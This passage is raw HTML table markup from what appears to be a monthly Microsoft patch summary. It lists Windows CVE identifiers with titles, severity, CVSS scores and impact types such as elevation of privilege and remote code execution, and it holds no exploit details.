  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
